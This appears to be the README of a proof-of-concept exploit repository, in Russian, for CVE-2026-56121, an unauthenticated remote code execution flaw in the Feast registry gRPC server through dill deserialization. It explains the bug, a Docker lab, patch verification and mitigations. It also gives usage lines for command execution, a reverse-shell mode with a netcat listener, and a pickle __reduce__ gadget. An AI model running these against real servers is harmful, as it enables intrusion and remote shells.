
Эксплойт proof-of-concept для CVE-2026-56121 — неаутентифицированное удалённое выполнение кода (RCE) в gRPC-сервере реестра Feast через небезопасную десериализацию dill. Включает Docker-лабораторию с уязвимой средой для тестирования и проверки.
Неаутентифицированное удалённое выполнение кода в Feast
(< 0.63.0) через небезопасную десериализацию dill.loads в gRPC-сервере реестра.
Этот репозиторий содержит автономный proof-of-concept эксплойт и Docker-лабораторию
с уязвимой версией для его проверки.
| CVE | CVE-2026-56121 |
| Продукт | Feast (feature store) — gRPC-сервер реестра |
| Затронуто | feast < 0.63.0 |
| Исправлено в | 0.63.0 (коммит 835cda8) |
| Класс | CWE-502 — десериализация недоверенных данных |
| Воздействие | Неаутентифицированное RCE (конфигурация по умолчанию — auth: no_auth) |
| Порт по умолчанию | 6570/tcp (gRPC-сервер реестра) |
⚠️ Только для авторизованного тестирования безопасности и обучения. Запускайте это только против прилагаемой Docker-лаборатории или систем, которыми вы владеете / на тестирование которых у вас есть явное разрешение. Несанкционированное использование против сторонних систем незаконно.
gRPC-обработчик реестра Feast RegistryServer.ApplyFeatureView десериализует входящую
спецификацию feature view, вызывая OnDemandFeatureView.from_proto(...) до выполнения
какой-либо проверки авторизации. Для On-Demand Feature View в режиме pandas с непустым
телом UDF этот путь достигает PandasTransformation.from_proto, который выполняет
dill.loads(user_defined_function.body) над байтами, контролируемыми атакующим. Поскольку dill
выполняет pickle-опкоды, объект с подделанным __reduce__ выполняет произвольный Python-код в
процессе сервера. Поставляемая конфигурация — auth: no_auth, и gRPC-сервер не имеет
интерцептора аутентификации, поэтому любой, кто может получить доступ к порту 6570, получает
выполнение кода.
См. ANALYSIS.md для полного разбора пути выполнения кода и diff патча.
.
├── exploit/
│ ├── exploit.py # полный PoC-клиент: --check / --cmd / --reverse-shell
│ ├── poc.py # минимальный однофайловый PoC, тот же примитив в ~90 строках
│ ├── build_protos.sh # (пере)генерация protobuf-заглушек из [email protected]
│ └── protos/ # закоммиченные сгенерированные *_pb2-заглушки (запуск PoC без protoc)
├── lab/
│ ├── Dockerfile # feast==0.62.0 по умолчанию; FEAST_VERSION выбирает релиз
│ ├── docker-compose.yml
│ ├── entrypoint.sh # feast serve_registry --port 6570
│ └── feature_repo/ # минимальный проект Feast (auth: no_auth)
├── requirements.txt # зависимости эксплойта: grpcio, protobuf
├── ANALYSIS.md
└── LICENSE
cd lab
docker compose up --build -d
# gRPC-сервер реестра теперь слушает localhost:6570
docker compose logs -f # дождитесь "Grpc server started"
python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt
Безопасная проверка (неразрушающая) — доказывает, что сервер десериализует данные атакующего,
записывая файл-маркер в /tmp и возвращая информацию о хосте, без выполнения shell-команды:
python exploit/exploit.py --target 127.0.0.1:6570 --check
Выполнение команды и просмотр её вывода (режим по умолчанию):
python exploit/exploit.py --target 127.0.0.1:6570 --cmd "id; hostname; cat /etc/os-release | head -1"
Интерактивный reverse shell — сначала запустите свой слушатель, затем доставьте полезную нагрузку:
# терминал A
nc -lvnp 4444
# терминал B (используйте адрес, до которого контейнер может достучаться)
python exploit/exploit.py --target 127.0.0.1:6570 --reverse-shell 172.17.0.1:4444
Режимы --cmd и --check запускают кратковременный TCP-слушатель внутри самого эксплойта
и печатают всё, что цель отправляет обратно — внешние инструменты в образе цели не требуются.
Упрощённый эквивалент находится в exploit/poc.py, если нужен весь примитив в одном
читаемом файле:
python exploit/poc.py 127.0.0.1:6570 "id; uname -a"
Примечание о callback.
--check,--cmdиpoc.pyполагаются на то, что цель подключится обратно к слушателю на вашей машине. Запуск с хоста работает из коробки. Если вы запускаете эксплойт из контейнера, поместите его в сеть лаборатории (docker run --network lab_default ...), иначе полезная нагрузка выполнится, но ответ никогда не придёт, и инструмент сообщит "no callback".
Заглушки в exploit/protos/ закоммичены, поэтому protoc не нужен. Если вы всё же
перегенерируете их, используйте скрипт — он намеренно фиксирует grpcio-tools:
./exploit/build_protos.sh # запускается в контейнере с зафиксированным python:3.11
protoc встраивает версию gencode в каждый _pb2.py, и protobuf отказывается загружать
заглушку, чей gencode новее установленного рантайма. Фиксация обеспечивает загрузку заглушек
на protobuf >= 5.29, < 8 (проверено на 5.29.6, 6.33.6 и 7.36.0).
Пересоберите лабораторию с исправленным релизом и повторно запустите эксплойт:
cd lab
docker compose down
FEAST_VERSION=0.63.0 docker compose up --build -d
python ../exploit/exploit.py --target 127.0.0.1:6570 --check
Ожидаемо на 0.63.0: [-] No callback received. и отсутствие файла-маркера на цели —
обработчик передаёт skip_udf=True, поэтому тело UDF никогда не десериализуется до
проверки авторизации. Вернитесь к уязвимой лаборатории с помощью docker compose down && docker compose up --build -d.
cd lab && docker compose down -v
ApplyFeatureViewRequest, чья спецификация on_demand_feature_view имеет
mode = "pandas" и feature_transformation.user_defined_function
(UserDefinedFunctionV2) с:
body_text = непустой (требуется для достижения ветки десериализации pandas),body = pickle объекта, чей __reduce__ вызывает exec(<python>).feast.registry.RegistryServer/ApplyFeatureView.dill.loads(body) во время from_proto — до проверки авторизации —
выполняя полезную нагрузку. Сам RPC может затем завершиться ошибкой; код уже выполнен.Эксплойт создаёт гаджет с помощью stdlib-модуля pickle (серверный dill.loads
без проблем декодирует обычные pickle-опкоды), поэтому на стороне атакующего нужны только grpcio + protobuf.
>= 0.63.0. Исправление прокидывает флаг skip_udf=True через
*.from_proto, поэтому сервер реестра проверяет разрешения на метаданных спецификации без
десериализации тела UDF.6570) для недоверенных сетей.auth: kubernetes / auth: oidc) вместо стандартной no_auth.